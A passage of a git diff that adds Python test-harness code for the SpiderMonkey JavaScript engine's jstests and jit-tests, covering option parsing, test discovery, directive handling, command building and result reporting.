+ get_environment_overlay, change_env
+from lib.results import ResultsSink
+from lib.progressbar import ProgressBar
+
+if sys.platform.startswith('linux') or sys.platform.startswith('darwin'):
+ from lib.tasks_unix import run_all_tests
+else:
+ from lib.tasks_win import run_all_tests
+
+
+@contextmanager
+def changedir(dirname):
+ pwd = os.getcwd()
+ os.chdir(dirname)
+ try:
+ yield
+ finally:
+ os.chdir(pwd)
+
+
+def parse_args():
+ """
+ Parse command line arguments.
+ Returns a tuple of: (options, js_shell, requested_paths, excluded_paths)
+ options :object: The raw OptionParser output.
+ js_shell :str: The absolute location of the shell to test with.
+ requested_paths :set<str>: Test paths specially requested on the CLI.
+ excluded_paths :set<str>: Test paths specifically excluded by the CLI.
+ """
+ from optparse import OptionParser, OptionGroup
+ op = OptionParser(usage=textwrap.dedent("""
+ %prog [OPTIONS] JS_SHELL [TESTS]
+
+ Shell output format: [ pass | fail | timeout | skip ] progress | time
+ """).strip())
+ op.add_option('--xul-info', dest='xul_info_src',
+ help='config data for xulRuntime'
+ ' (avoids search for config/autoconf.mk)')
+
+ harness_og = OptionGroup(op, "Harness Controls",
+ "Control how tests are run.")
+ harness_og.add_option('-j', '--worker-count', type=int,
+ default=max(1, get_cpu_count()),
+ help='Number of tests to run in parallel'
+ ' (default %default)')
+ harness_og.add_option('-t', '--timeout', type=float, default=150.0,
+ help='Set maximum time a test is allows to run'
+ ' (in seconds).')
+ harness_og.add_option('-a', '--args', dest='shell_args', default='',
+ help='Extra args to pass to the JS shell.')
+ harness_og.add_option('--jitflags', dest='jitflags', default='none',
+ type='string',
+ help='IonMonkey option combinations. One of all,'
+ ' debug, ion, and none (default %default).')
+ harness_og.add_option('--tbpl', action='store_true',
+ help='Runs each test in all configurations tbpl'
+ ' tests.')
+ harness_og.add_option('--tbpl-debug', action='store_true',
+ help='Runs each test in some faster configurations'
+ ' tbpl tests.')
+ harness_og.add_option('-g', '--debug', action='store_true',
+ help='Run a test in debugger.')
+ harness_og.add_option('--debugger', default='gdb -q --args',
+ help='Debugger command.')
+ harness_og.add_option('-J', '--jorendb', action='store_true',
+ help='Run under JS debugger.')
+ harness_og.add_option('--passthrough', action='store_true',
+ help='Run tests with stdin/stdout attached to'
+ ' caller.')
+ harness_og.add_option('--test-reflect-stringify', dest="test_reflect_stringify",
+ help="instead of running tests, use them to test the "
+ "Reflect.stringify code in specified file")
+ harness_og.add_option('--valgrind', action='store_true',
+ help='Run tests in valgrind.')
+ harness_og.add_option('--valgrind-args', default='',
+ help='Extra args to pass to valgrind.')
+ harness_og.add_option('--rr', action='store_true',
+ help='Run tests under RR record-and-replay debugger.')
+ harness_og.add_option('-C', '--check-output', action='store_true',
+ help='Run tests to check output for different jit-flags')
+ op.add_option_group(harness_og)
+
+ input_og = OptionGroup(op, "Inputs", "Change what tests are run.")
+ input_og.add_option('-f', '--file', dest='test_file', action='append',
+ help='Get tests from the given file.')
+ input_og.add_option('-x', '--exclude-file', action='append',
+ help='Exclude tests from the given file.')
+ input_og.add_option('-d', '--exclude-random', dest='random',
+ action='store_false',
+ help='Exclude tests marked as "random."')
+ input_og.add_option('--run-skipped', action='store_true',
+ help='Run tests marked as "skip."')
+ input_og.add_option('--run-only-skipped', action='store_true',
+ help='Run only tests marked as "skip."')
+ input_og.add_option('--run-slow-tests', action='store_true',
+ help='Do not skip tests marked as "slow."')
+ input_og.add_option('--no-extensions', action='store_true',
+ help='Run only tests conforming to the ECMAScript 5'
+ ' standard.')
+ input_og.add_option('--repeat', type=int, default=1,
+ help='Repeat tests the given number of times.')
+ op.add_option_group(input_og)
+
+ output_og = OptionGroup(op, "Output",
+ "Modify the harness and tests output.")
+ output_og.add_option('-s', '--show-cmd', action='store_true',
+ help='Show exact commandline used to run each test.')
+ output_og.add_option('-o', '--show-output', action='store_true',
+ help="Print each test's output to the file given by"
+ " --output-file.")
+ output_og.add_option('-F', '--failed-only', action='store_true',
+ help="If a --show-* option is given, only print"
+ " output for failed tests.")
+ output_og.add_option('--no-show-failed', action='store_true',
+ help="Don't print output for failed tests"
+ " (no-op with --show-output).")
+ output_og.add_option('-O', '--output-file',
+ help='Write all output to the given file'
+ ' (default: stdout).')
+ output_og.add_option('--failure-file',
+ help='Write all not-passed tests to the given file.')
+ output_og.add_option('--no-progress', dest='hide_progress',
+ action='store_true',
+ help='Do not show the progress bar.')
+ output_og.add_option('--tinderbox', dest='format', action='store_const',
+ const='automation',
+ help='Use automation-parseable output format.')
+ output_og.add_option('--format', dest='format', default='none',
+ type='choice', choices=['automation', 'none'],
+ help='Output format. Either automation or none'
+ ' (default %default).')
+ op.add_option_group(output_og)
+
+ special_og = OptionGroup(op, "Special",
+ "Special modes that do not run tests.")
+ special_og.add_option('--make-manifests', metavar='BASE_TEST_PATH',
+ help='Generate reftest manifest files.')
+ op.add_option_group(special_og)
+ options, args = op.parse_args()
+
+ # Acquire the JS shell given on the command line.
+ options.js_shell = None
+ requested_paths = set()
+ if len(args) > 0:
+ options.js_shell = abspath(args[0])
+ requested_paths |= set(args[1:])
+
+ # If we do not have a shell, we must be in a special mode.
+ if options.js_shell is None and not options.make_manifests:
+ op.error('missing JS_SHELL argument')
+
+ # Valgrind, gdb, and rr are mutually exclusive.
+ if sum(map(lambda e: 1 if e else 0, [options.valgrind, options.debug, options.rr])) > 1:
+ op.error("--valgrind, --debug, and --rr are mutually exclusive.")
+
+ # Fill the debugger field, as needed.
+ if options.debug:
+ if options.debugger == 'lldb':
+ debugger_prefix = ['lldb', '--']
+ else:
+ debugger_prefix = options.debugger.split()
+ else:
+ debugger_prefix = []
+
+ if options.valgrind:
+ debugger_prefix = ['valgrind'] + options.valgrind_args.split()
+ if os.uname()[0] == 'Darwin':
+ debugger_prefix.append('--dsymutil=yes')
+ options.show_output = True
+ if options.rr:
+ debugger_prefix = ['rr', 'record']
+
+ js_cmd_args = options.shell_args.split()
+ if options.jorendb:
+ options.passthrough = True
+ options.hide_progress = True
+ options.worker_count = 1
+ debugger_path = realpath(os.path.join(
+ abspath(dirname(abspath(__file__))),
+ '..', '..', 'examples', 'jorendb.js'))
+ js_cmd_args.extend(['-d', '-f', debugger_path, '--'])
+ prefix = RefTestCase.build_js_cmd_prefix(options.js_shell, js_cmd_args,
+ debugger_prefix)
+
+ # If files with lists of tests to run were specified, add them to the
+ # requested tests set.
+ if options.test_file:
+ for test_file in options.test_file:
+ requested_paths |= set(
+ [line.strip() for line in open(test_file).readlines()])
+
+ # If files with lists of tests to exclude were specified, add them to the
+ # excluded tests set.
+ excluded_paths = set()
+ if options.exclude_file:
+ for filename in options.exclude_file:
+ try:
+ fp = open(filename, 'r')
+ for line in fp:
+ if line.startswith('#'): continue
+ line = line.strip()
+ if not line: continue
+ excluded_paths |= set((line,))
+ finally:
+ fp.close()
+
+ # Handle output redirection, if requested and relevant.
+ options.output_fp = sys.stdout
+ if options.output_file:
+ if not options.show_cmd:
+ options.show_output = True
+ try:
+ options.output_fp = open(options.output_file, 'w')
+ except IOError as ex:
+ raise SystemExit("Failed to open output file: " + str(ex))
+
+ # Hide the progress bar if it will get in the way of other output.
+ options.hide_progress = (options.format == 'automation' or
+ not ProgressBar.conservative_isatty() or
+ options.hide_progress)
+
+ return (options, prefix, requested_paths, excluded_paths)
+
+
+def load_tests(options, requested_paths, excluded_paths):
+ """
+ Returns a tuple: (skipped_tests, test_list)
+ test_count: [int] Number of tests that will be in test_gen
+ test_gen: [iterable<Test>] Tests found that should be run.
+ """
+ import lib.manifest as manifest
+
+ if options.js_shell is None:
+ xul_tester = manifest.NullXULInfoTester()
+ else:
+ if options.xul_info_src is None:
+ xul_info = manifest.XULInfo.create(options.js_shell)
+ else:
+ xul_abi, xul_os, xul_debug = options.xul_info_src.split(r':')
+ xul_debug = xul_debug.lower() is 'true'
+ xul_info = manifest.XULInfo(xul_abi, xul_os, xul_debug)
+ xul_tester = manifest.XULInfoTester(xul_info, options.js_shell)
+
+ test_dir = dirname(abspath(__file__))
+ test_count = manifest.count_tests(test_dir, requested_paths, excluded_paths)
+ test_gen = manifest.load_reftests(test_dir, requested_paths, excluded_paths,
+ xul_tester)
+
+ if options.test_reflect_stringify is not None:
+ def trs_gen(tests):
+ for test in tests:
+ test.test_reflect_stringify = options.test_reflect_stringify
+ # Even if the test is not normally expected to pass, we still
+ # expect reflect-stringify to be able to handle it.
+ test.expect = True
+ test.random = False
+ test.slow = False
+ yield test
+ test_gen = trs_gen(test_gen)
+
+ if options.make_manifests:
+ manifest.make_manifests(options.make_manifests, test_gen)
+ sys.exit()
+
+ # Create a new test list. Apply each TBPL configuration to every test.
+ flags_list = None
+ if options.tbpl:
+ flags_list = get_jitflags('all')
+ elif options.tbpl_debug:
+ flags_list = get_jitflags('debug')
+ else:
+ flags_list = get_jitflags(options.jitflags, none=None)
+
+ if flags_list:
+ def flag_gen(tests):
+ for test in tests:
+ for jitflags in flags_list:
+ tmp_test = copy(test)
+ tmp_test.jitflags = copy(test.jitflags)
+ tmp_test.jitflags.extend(jitflags)
+ yield tmp_test
+ test_count = test_count * len(flags_list)
+ test_gen = flag_gen(test_gen)
+
+ if options.test_file:
+ paths = set()
+ for test_file in options.test_file:
+ paths |= set(
+ [line.strip() for line in open(test_file).readlines()])
+ test_gen = (_ for _ in test_gen if _.path in paths)
+
+ if options.no_extensions:
+ pattern = os.sep + 'extensions' + os.sep
+ test_gen = (_ for _ in test_gen if pattern not in _.path)
+
+ if not options.random:
+ test_gen = (_ for _ in test_gen if not _.random)
+
+ if options.run_only_skipped:
+ options.run_skipped = True
+ test_gen = (_ for _ in test_gen if not _.enable)
+
+ if not options.run_slow_tests:
+ test_gen = (_ for _ in test_gen if not _.slow)
+
+ if options.repeat:
+ test_gen = (test for test in test_gen for i in range(options.repeat))
+ test_count *= options.repeat
+
+ return test_count, test_gen
+
+
+def main():
+ options, prefix, requested_paths, excluded_paths = parse_args()
+ if options.js_shell is not None and not (isfile(options.js_shell) and
+ os.access(options.js_shell, os.X_OK)):
+ if (platform.system() != 'Windows' or
+ isfile(options.js_shell) or not
+ isfile(options.js_shell + ".exe") or not
+ os.access(options.js_shell + ".exe", os.X_OK)):
+ print('Could not find executable shell: ' + options.js_shell)
+ return 1
+
+ test_count, test_gen = load_tests(options, requested_paths, excluded_paths)
+ test_environment = get_environment_overlay(options.js_shell)
+
+ if test_count == 0:
+ print('no tests selected')
+ return 1
+
+ test_dir = dirname(abspath(__file__))
+
+ if options.debug:
+ if test_count > 1:
+ print('Multiple tests match command line arguments,'
+ ' debugger can only run one')
+ for tc in test_gen:
+ print(' {}'.format(tc.path))
+ return 2
+
+ cmd = test_gen.next().get_command(prefix)
+ if options.show_cmd:
+ print(list2cmdline(cmd))
+ with changedir(test_dir), change_env(test_environment):
+ call(cmd)
+ return 0
+
+ with changedir(test_dir), change_env(test_environment):
+ results = ResultsSink(options, test_count)
+ try:
+ for out in run_all_tests(test_gen, prefix, results.pb, options):
+ results.push(out)
+ results.finish(True)
+ except KeyboardInterrupt:
+ results.finish(False)
+
+ return 0 if results.all_passed() else 1
+
+ return 0
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/js/src/tests/lib/__init__.py b/js/src/tests/lib/__init__.py
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/lib/__init__.py
diff --git a/js/src/tests/lib/jittests.py b/js/src/tests/lib/jittests.py
new file mode 100755
index 000000000..0a1d1537a
--- /dev/null
+++ b/js/src/tests/lib/jittests.py
@@ -0,0 +1,720 @@
+#!/usr/bin/env python
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+
+# jit_test.py -- Python harness for JavaScript trace tests.
+
+from __future__ import print_function
+import os, posixpath, sys, tempfile, traceback, time
+import subprocess
+from collections import namedtuple
+import StringIO
+
+if sys.platform.startswith('linux') or sys.platform.startswith('darwin'):
+ from tasks_unix import run_all_tests
+else:
+ from tasks_win import run_all_tests
+
+from progressbar import ProgressBar, NullProgressBar
+from results import TestOutput
+
+TESTS_LIB_DIR = os.path.dirname(os.path.abspath(__file__))
+JS_DIR = os.path.dirname(os.path.dirname(TESTS_LIB_DIR))
+TOP_SRC_DIR = os.path.dirname(os.path.dirname(JS_DIR))
+TEST_DIR = os.path.join(JS_DIR, 'jit-test', 'tests')
+LIB_DIR = os.path.join(JS_DIR, 'jit-test', 'lib') + os.path.sep
+MODULE_DIR = os.path.join(JS_DIR, 'jit-test', 'modules') + os.path.sep
+JS_CACHE_DIR = os.path.join(JS_DIR, 'jit-test', '.js-cache')
+JS_TESTS_DIR = posixpath.join(JS_DIR, 'tests')
+
+# Backported from Python 3.1 posixpath.py
+def _relpath(path, start=None):
+ """Return a relative version of a path"""
+
+ if not path:
+ raise ValueError("no path specified")
+
+ if start is None:
+ start = os.curdir
+
+ start_list = os.path.abspath(start).split(os.sep)
+ path_list = os.path.abspath(path).split(os.sep)
+
+ # Work out how much of the filepath is shared by start and path.
+ i = len(os.path.commonprefix([start_list, path_list]))
+
+ rel_list = [os.pardir] * (len(start_list)-i) + path_list[i:]
+ if not rel_list:
+ return os.curdir
+ return os.path.join(*rel_list)
+
+# Mapping of Python chars to their javascript string representation.
+QUOTE_MAP = {
+ '\\': '\\\\',
+ '\b': '\\b',
+ '\f': '\\f',
+ '\n': '\\n',
+ '\r': '\\r',
+ '\t': '\\t',
+ '\v': '\\v'
+}
+
+# Quote the string S, javascript style.
+def js_quote(quote, s):
+ result = quote
+ for c in s:
+ if c == quote:
+ result += '\\' + quote
+ elif c in QUOTE_MAP:
+ result += QUOTE_MAP[c]
+ else:
+ result += c
+ result += quote
+ return result
+
+os.path.relpath = _relpath
+
+class JitTest:
+
+ VALGRIND_CMD = []
+ paths = (d for d in os.environ['PATH'].split(os.pathsep))
+ valgrinds = (os.path.join(d, 'valgrind') for d in paths)
+ if any(os.path.exists(p) for p in valgrinds):
+ VALGRIND_CMD = [
+ 'valgrind', '-q', '--smc-check=all-non-file',
+ '--error-exitcode=1', '--gen-suppressions=all',
+ '--show-possibly-lost=no', '--leak-check=full',
+ ]
+ if os.uname()[0] == 'Darwin':
+ VALGRIND_CMD.append('--dsymutil=yes')
+
+ del paths
+ del valgrinds
+
+ def __init__(self, path):
+ # Absolute path of the test file.
+ self.path = path
+
+ # Path relative to the top mozilla/ directory.
+ self.relpath_top = os.path.relpath(path, TOP_SRC_DIR)
+
+ # Path relative to mozilla/js/src/jit-test/tests/.
+ self.relpath_tests = os.path.relpath(path, TEST_DIR)
+
+ self.jitflags = [] # jit flags to enable
+ self.slow = False # True means the test is slow-running
+ self.allow_oom = False # True means that OOM is not considered a failure
+ self.allow_unhandlable_oom = False # True means CrashAtUnhandlableOOM
+ # is not considered a failure
+ self.allow_overrecursed = False # True means that hitting recursion the
+ # limits is not considered a failure.
+ self.valgrind = False # True means run under valgrind
+ self.tz_pacific = False # True means force Pacific time for the test
+ self.test_also_noasmjs = False # True means run with and without asm.js
+ # enabled.
+ self.test_also_wasm_baseline = False # True means run with and and without
+ # wasm baseline compiler enabled.
+ self.test_also = [] # List of other configurations to test with.
+ self.test_join = [] # List of other configurations to test with all existing variants.
+ self.expect_error = '' # Errors to expect and consider passing
+ self.expect_status = 0 # Exit status to expect from shell
+ self.expect_crash = False # Exit status or error output.
+ self.is_module = False
+ self.test_reflect_stringify = None # Reflect.stringify implementation to test
+
+ # Expected by the test runner. Always true for jit-tests.
+ self.enable = True
+
+ def copy(self):
+ t = JitTest(self.path)
+ t.jitflags = self.jitflags[:]
+ t.slow = self.slow
+ t.allow_oom = self.allow_oom
+ t.allow_unhandlable_oom = self.allow_unhandlable_oom
+ t.allow_overrecursed = self.allow_overrecursed
+ t.valgrind = self.valgrind
+ t.tz_pacific = self.tz_pacific
+ t.test_also_noasmjs = self.test_also_noasmjs
+ t.test_also_wasm_baseline = self.test_also_noasmjs
+ t.test_also = self.test_also
+ t.test_join = self.test_join
+ t.expect_error = self.expect_error
+ t.expect_status = self.expect_status
+ t.expect_crash = self.expect_crash
+ t.test_reflect_stringify = self.test_reflect_stringify
+ t.enable = True
+ t.is_module = self.is_module
+ return t
+
+ def copy_and_extend_jitflags(self, variant):
+ t = self.copy()
+ t.jitflags.extend(variant)
+ return t
+
+ def copy_variants(self, variants):
+ # Append variants to be tested in addition to the current set of tests.
+ variants = variants + self.test_also
+
+ # For each existing variant, duplicates it for each list of options in
+ # test_join. This will multiply the number of variants by 2 for set of
+ # options.
+ for join_opts in self.test_join:
+ variants = variants + [ opts + join_opts for opts in variants ];
+
+ # For each list of jit flags, make a copy of the test.
+ return [self.copy_and_extend_jitflags(v) for v in variants]
+
+
+ COOKIE = '|jit-test|'
+ CacheDir = JS_CACHE_DIR
+ Directives = {}
+
+ @classmethod
+ def find_directives(cls, file_name):
+ meta = ''
+ line = open(file_name).readline()
+ i = line.find(cls.COOKIE)
+ if i != -1:
+ meta = ';' + line[i + len(cls.COOKIE):].strip('\n')
+ return meta
+
+ @classmethod
+ def from_file(cls, path, options):
+ test = cls(path)
+
+ # If directives.txt exists in the test's directory then it may
+ # contain metainformation that will be catenated with
+ # whatever's in the test file. The form of the directive in
+ # the directive file is the same as in the test file. Only
+ # the first line is considered, just as for the test file.
+
+ dir_meta = ''
+ dir_name = os.path.dirname(path)
+ if dir_name in cls.Directives:
+ dir_meta = cls.Directives[dir_name]
+ else:
+ meta_file_name = os.path.join(dir_name, "directives.txt")
+ if os.path.exists(meta_file_name):
+ dir_meta = cls.find_directives(meta_file_name)
+ cls.Directives[dir_name] = dir_meta
+
+ meta = cls.find_directives(path)
+ if meta != '' or dir_meta != '':
+ meta = meta + dir_meta
+ parts = meta.split(';')
+ for part in parts:
+ part = part.strip()
+ if not part:
+ continue
+ name, _, value = part.partition(':')
+ if value:
+ value = value.strip()
+ if name == 'error':
+ test.expect_error = value
+ elif name == 'exitstatus':
+ try:
+ test.expect_status = int(value, 0)
+ except ValueError:
+ print("warning: couldn't parse exit status"
+ " {}".format(value))
+ elif name == 'thread-count':
+ try:
+ test.jitflags.append('--thread-count={}'.format(
+ int(value, 0)))
+ except ValueError:
+ print("warning: couldn't parse thread-count"
+ " {}".format(value))
+ else:
+ print('{}: warning: unrecognized |jit-test| attribute'
+ ' {}'.format(path, part))
+ else:
+ if name == 'slow':
+ test.slow = True
+ elif name == 'allow-oom':
+ test.allow_oom = True
+ elif name == 'allow-unhandlable-oom':
+ test.allow_unhandlable_oom = True
+ elif name == 'allow-overrecursed':
+ test.allow_overrecursed = True
+ elif name == 'valgrind':
+ test.valgrind = options.valgrind
+ elif name == 'tz-pacific':
+ test.tz_pacific = True
+ elif name == 'test-also-noasmjs':
+ if options.asmjs_enabled:
+ test.test_also.append(['--no-asmjs'])
+ elif name == 'test-also-wasm-baseline':
+ if options.wasm_enabled:
+ test.test_also.append(['--wasm-always-baseline'])
+ elif name == 'test-also-wasm-check-bce':
+ if options.wasm_enabled:
+ test.test_also.append(['--wasm-check-bce'])
+ elif name.startswith('test-also='):
+ test.test_also.append([name[len('test-also='):]])
+ elif name.startswith('test-join='):
+ test.test_join.append([name[len('test-join='):]])
+ elif name == 'module':
+ test.is_module = True
+ elif name == 'crash':
+ test.expect_crash = True
+ elif name.startswith('--'):
+ # // |jit-test| --ion-gvn=off; --no-sse4
+ test.jitflags.append(name)
+ else:
+ print('{}: warning: unrecognized |jit-test| attribute'
+ ' {}'.format(path, part))
+
+ if options.valgrind_all:
+ test.valgrind = True
+
+ if options.test_reflect_stringify is not None:
+ test.expect_error = ''
+ test.expect_status = 0
+
+ return test
+
+ def command(self, prefix, libdir, moduledir, remote_prefix=None):
+ path = self.path
+ if remote_prefix:
+ path = self.path.replace(TEST_DIR, remote_prefix)
+
+ scriptdir_var = os.path.dirname(path)
+ if not scriptdir_var.endswith('/'):
+ scriptdir_var += '/'
+
+ # Platforms where subprocess immediately invokes exec do not care
+ # whether we use double or single quotes. On windows and when using
+ # a remote device, however, we have to be careful to use the quote
+ # style that is the opposite of what the exec wrapper uses.
+ if remote_prefix:
+ quotechar = '"'
+ else:
+ quotechar = "'"
+ expr = "const platform={}; const libdir={}; const scriptdir={}".format(
+ js_quote(quotechar, sys.platform),
+ js_quote(quotechar, libdir),
+ js_quote(quotechar, scriptdir_var))
+
+ # We may have specified '-a' or '-d' twice: once via --jitflags, once
+ # via the "|jit-test|" line. Remove dups because they are toggles.
+ cmd = prefix + ['--js-cache', JitTest.CacheDir]
+ cmd += list(set(self.jitflags)) + ['-e', expr]
+ if self.is_module:
+ cmd += ['--module-load-path', moduledir]
+ cmd += ['--module', path]
+ elif self.test_reflect_stringify is None:
+ cmd += ['-f', path]
+ else:
+ cmd += ['--', self.test_reflect_stringify, "--check", path]
+ if self.valgrind:
+ cmd = self.VALGRIND_CMD + cmd
+ return cmd
+
+ # The test runner expects this to be set to give to get_command.
+ js_cmd_prefix = None
+ def get_command(self, prefix):
+ """Shim for the test runner."""
+ return self.command(prefix, LIB_DIR, MODULE_DIR)
+
+
+def find_tests(substring=None):
+ ans = []
+ for dirpath, dirnames, filenames in os.walk(TEST_DIR):
+ dirnames.sort()
+ filenames.sort()
+ if dirpath == '.':
+ continue
+ for filename in filenames:
+ if not filename.endswith('.js'):
+ continue
+ if filename in ('shell.js', 'browser.js'):
+ continue
+ test = os.path.join(dirpath, filename)
+ if substring is None \
+ or substring in os.path.relpath(test, TEST_DIR):
+ ans.append(test)
+ return ans
+
+def run_test_remote(test, device, prefix, options):
+ if options.test_reflect_stringify:
+ raise ValueError("can't run Reflect.stringify tests remotely")
+ cmd = test.command(prefix,
+ posixpath.join(options.remote_test_root, 'lib/'),
+ posixpath.join(options.remote_test_root, 'modules/'),
+ posixpath.join(options.remote_test_root, 'tests'))
+ if options.show_cmd:
+ print(subprocess.list2cmdline(cmd))
+
+ env = {}
+ if test.tz_pacific:
+ env['TZ'] = 'PST8PDT'
+
+ env['LD_LIBRARY_PATH'] = options.remote_test_root
+
+ buf = StringIO.StringIO()
+ returncode = device.shell(cmd, buf, env=env, cwd=options.remote_test_root,
+ timeout=int(options.timeout))
+
+ out = buf.getvalue()
+ # We can't distinguish between stdout and stderr so we pass
+ # the same buffer to both.
+ return TestOutput(test, cmd, out, out, returncode, None, False)
+
+def check_output(out, err, rc, timed_out, test, options):
+ if timed_out:
+ if test.relpath_tests in options.ignore_timeouts:
+ return True
+
+ # The shell sometimes hangs on shutdown on Windows 7 and Windows
+ # Server 2008. See bug 970063 comment 7 for a description of the
+ # problem. Until bug 956899 is fixed, ignore timeouts on these
+ # platforms (versions 6.0 and 6.1).
+ if sys.platform == 'win32':
+ ver = sys.getwindowsversion()
+ if ver.major == 6 and ver.minor <= 1:
+ return True
+ return False
+
+ if test.expect_error:
+ # The shell exits with code 3 on uncaught exceptions.
+ # Sometimes 0 is returned on Windows for unknown reasons.
+ # See bug 899697.
+ if sys.platform in ['win32', 'cygwin']:
+ if rc != 3 and rc != 0:
+ return False
+ else:
+ if rc != 3:
+ return False
+
+ return test.expect_error in err
+
+ for line in out.split('\n'):
+ if line.startswith('Trace stats check failed'):
+ return False
+
+ for line in err.split('\n'):
+ if 'Assertion failed:' in line:
+ return False
+
+ if test.expect_crash:
+ if sys.platform == 'win32' and rc == 3 - 2 ** 31:
+ return True
+
+ if sys.platform != 'win32' and rc == -11:
+ return True
+
+ # When building with ASan enabled, ASan will convert the -11 returned
+ # value to 1. As a work-around we look for the error output which
+ # includes the crash reason.
+ if rc == 1 and ("Hit MOZ_CRASH" in err or "Assertion failure:" in err):
+ return True
+
+ if rc != test.expect_status:
+ # Tests which expect a timeout check for exit code 6.
+ # Sometimes 0 is returned on Windows for unknown reasons.
+ # See bug 899697.
+ if sys.platform in ['win32', 'cygwin'] and rc == 0:
+ return True
+
+ # Allow a non-zero exit code if we want to allow OOM, but only if we
+ # actually got OOM.
+ if test.allow_oom and 'out of memory' in err \
+ and 'Assertion failure' not in err and 'MOZ_CRASH' not in err:
+ return True
+
+ # Allow a non-zero exit code if we want to allow unhandlable OOM, but
+ # only if we actually got unhandlable OOM.
+ if test.allow_unhandlable_oom \
+ and 'Assertion failure: [unhandlable oom]' in err:
+ return True
+
+ # Allow a non-zero exit code if we want to all too-much-recursion and
+ # the test actually over-recursed.
+ if test.allow_overrecursed and 'too much recursion' in err \
+ and 'Assertion failure' not in err:
+ return True
+
+ return False
+
+ return True
+
+def print_automation_format(ok, res):
+ # Output test failures in a parsable format suitable for automation, eg:
+ # TEST-RESULT | filename.js | Failure description (code N, args "--foobar")
+ #
+ # Example:
+ # TEST-PASS | foo/bar/baz.js | (code 0, args "--ion-eager")
+ # TEST-UNEXPECTED-FAIL | foo/bar/baz.js | TypeError: or something (code -9, args "--no-ion")
+ # INFO exit-status : 3
+ # INFO timed-out : False
+ # INFO stdout > foo
+ # INFO stdout > bar
+ # INFO stdout > baz
+ # INFO stderr 2> TypeError: or something
+ # TEST-UNEXPECTED-FAIL | jit_test.py: Test execution interrupted by user
+ result = "TEST-PASS" if ok else "TEST-UNEXPECTED-FAIL"
+ message = "Success" if ok else res.describe_failure()
+ jitflags = " ".join(res.test.jitflags)
+ print("{} | {} | {} (code {}, args \"{}\")".format(
+ result, res.test.relpath_top, message, res.rc, jitflags))
+
+ # For failed tests, print as much information as we have, to aid debugging.
+ if ok:
+ return
+ print("INFO exit-status : {}".format(res.rc))
+ print("INFO timed-out : {}".format(res.timed_out))
+ for line in res.out.splitlines():
+ print("INFO stdout > " + line.strip())
+ for line in res.err.splitlines():
+ print("INFO stderr 2> " + line.strip())
+
+def print_test_summary(num_tests, failures, complete, doing, options):
+ if failures:
+ if options.write_failures:
+ try:
+ out = open(options.write_failures, 'w')
+ # Don't write duplicate entries when we are doing multiple
+ # failures per job.
+ written = set()
+ for res in failures:
+ if res.test.path not in written:
+ out.write(os.path.relpath(res.test.path, TEST_DIR)
+ + '\n')
+ if options.write_failure_output:
+ out.write(res.out)
+ out.write(res.err)
+ out.write('Exit code: ' + str(res.rc) + "\n")
+ written.add(res.test.path)
+ out.close()
+ except IOError:
+ sys.stderr.write("Exception thrown trying to write failure"
+ " file '{}'\n".format(options.write_failures))
+ traceback.print_exc()
+ sys.stderr.write('---\n')
+
+ def show_test(res):
+ if options.show_failed:
+ print(' ' + subprocess.list2cmdline(res.cmd))
+ else:
+ print(' ' + ' '.join(res.test.jitflags + [res.test.path]))
+
+ print('FAILURES:')
+ for res in failures:
+ if not res.timed_out:
+ show_test(res)
+
+ print('TIMEOUTS:')
+ for res in failures:
+ if res.timed_out:
+ show_test(res)
+ else:
+ print('PASSED ALL'
+ + ('' if complete
+ else ' (partial run -- interrupted by user {})'.format(doing)))
+
+ if options.format == 'automation':
+ num_failures = len(failures) if failures else 0
+ print('Result summary:')
+ print('Passed: {:d}'.format(num_tests - num_failures))
+ print('Failed: {:d}'.format(num_failures))
+
+ return not failures
+
+def create_progressbar(num_tests, options):
+ if not options.hide_progress and not options.show_cmd \
+ and ProgressBar.conservative_isatty():
+ fmt = [
+ {'value': 'PASS', 'color': 'green'},
+ {'value': 'FAIL', 'color': 'red'},
+ {'value': 'TIMEOUT', 'color': 'blue'},
+ {'value': 'SKIP', 'color': 'brightgray'},
+ ]
+ return ProgressBar(num_tests, fmt)
+ return NullProgressBar()
+
+def process_test_results(results, num_tests, pb, options):
+ failures = []
+ timeouts = 0
+ complete = False
+ output_dict = {}
+ doing = 'before starting'
+
+ if num_tests == 0:
+ pb.finish(True)
+ complete = True
+ return print_test_summary(num_tests, failures, complete, doing, options)
+
+ try:
+ for i, res in enumerate(results):
+ ok = check_output(res.out, res.err, res.rc, res.timed_out,
+ res.test, options)
+
+ if ok:
+ show_output = options.show_output and not options.failed_only
+ else:
+ show_output = options.show_output or not options.no_show_failed
+
+ if show_output:
+ pb.beginline()
+ sys.stdout.write(res.out)
+ sys.stdout.write(res.err)
+ sys.stdout.write('Exit code: {}\n'.format(res.rc))
+
+ if res.test.valgrind and not show_output:
+ pb.beginline()
+ sys.stdout.write(res.err)
+
+ if options.check_output:
+ if res.test.path in output_dict.keys():
+ if output_dict[res.test.path] != res.out:
+ pb.message("FAIL - OUTPUT DIFFERS {}".format(res.test.relpath_tests))
+ else:
+ output_dict[res.test.path] = res.out
+
+ doing = 'after {}'.format(res.test.relpath_tests)
+ if not ok:
+ failures.append(res)
+ if res.timed_out:
+ pb.message("TIMEOUT - {}".format(res.test.relpath_tests))
+ timeouts += 1
+ else:
+ pb.message("FAIL - {}".format(res.test.relpath_tests))
+
+ if options.format == 'automation':
+ print_automation_format(ok, res)
+
+ n = i + 1
+ pb.update(n, {
+ 'PASS': n - len(failures),
+ 'FAIL': len(failures),
+ 'TIMEOUT': timeouts,
+ 'SKIP': 0
+ })
+ complete = True
+ except KeyboardInterrupt:
+ print("TEST-UNEXPECTED-FAIL | jit_test.py" +
+ " : Test execution interrupted by user")
+
+ pb.finish(True)
+ return print_test_summary(num_tests, failures, complete, doing, options)
+
+def run_tests(tests, num_tests, prefix, options):
+ # The jstests tasks runner requires the following options. The names are
+ # taken from the jstests options processing code, which are frequently
+ # subtly different from the options jit-tests expects. As such, we wrap
+ # them here, as needed.
+ AdaptorOptions = namedtuple("AdaptorOptions", [
+ "worker_count", "passthrough", "timeout", "output_fp",
+ "hide_progress", "run_skipped", "show_cmd"])
+ shim_options = AdaptorOptions(options.max_jobs, False, options.timeout,
+ sys.stdout, False, True, options.show_cmd)
+
+ # The test runner wants the prefix as a static on the Test class.
+ JitTest.js_cmd_prefix = prefix
+
+ pb = create_progressbar(num_tests, options)
+ gen = run_all_tests(tests, prefix, pb, shim_options)
+ ok = process_test_results(gen, num_tests, pb, options)
